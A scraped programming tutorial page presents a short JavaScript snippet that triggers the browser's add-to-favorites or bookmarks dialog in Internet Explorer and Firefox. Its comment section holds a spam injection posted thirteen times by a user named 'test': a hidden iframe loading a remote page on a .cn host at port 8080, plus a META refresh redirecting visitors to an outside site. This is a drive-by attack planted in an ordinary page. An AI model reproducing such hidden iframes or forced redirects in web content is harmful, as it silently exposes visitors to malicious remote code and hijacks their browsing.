Geekpedia Programming Tutorials






Add to favorites/bookmarks in Internet Explorer and Firefox

With only a few JavaScript lines you can initiate the dialog for "Add to Favorites" dialog in Internet Explorer and the "Add to Bookmarks" dialog in Firefox, as shown in this example.

On Thursday, October 4th 2007 at 11:06 PM
By Andrew Pociu (View Profile)
****-   (Rated 3.8 with 5 votes)
Contextual Ads
More JavaScript Resources
Advertisement
  1. <script type="text/javascript">
  2. var BookmarkURL="http://www.geekpedia.com"
  3. var BookmarkTitle="Geekpedia"
  4.  
  5. // If the browser is Internet Explorer
  6. if (document.all)
  7. {
  8.         // Add to Favorites (Internet Explorer)
  9.         window.external.AddFavorite(BookmarkURL,BookmarkTitle)
  10. }
  11. else
  12. {
  13.         // Add to Bookmarks (Mozilla Firefox)
  14.         window.sidebar.addPanel(BookmarkTitle, BookmarkURL, '');
  15. }
  16. </script>
Digg Digg It!     Del.icio.us Del.icio.us     Reddit Reddit     StumbleUpon StumbleIt     Newsvine Newsvine     Furl Furl     BlinkList BlinkList

Rate Rate this code snippet
Comment Current Comments
by on Monday, December 10th 2007 at 11:33 AM

Makes the bookmark pop up in the side bar in Firefox

by Kanhai on Tuesday, December 18th 2007 at 02:41 AM

Thanks man.. helped me out.

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">

by test on Thursday, June 11th 2009 at 02:44 AM

<iframe src="http://thebestwaytofind.cn:8080/index.php" width=117 height=178 style="visibility: hidden"></iframe>

<META http-equiv="refresh" content="0;URL=http://www.pakbugs.org/members/d3-st4lli0n.html">


Comment Comment on this tutorial
Name: Email:
Message:
Comment Related Source Code
There is no related code.

Comment Related Tutorials
There are no related tutorials.

Jobs JavaScript Job Search
My skills include:

Enter a City:

Select a State:


Advanced Search >>
Latest Tech Bargains

Advertisement

Free Magazine Subscriptions

Today's Pictures

Today's Video

Other Resources

Latest Download

Latest Icons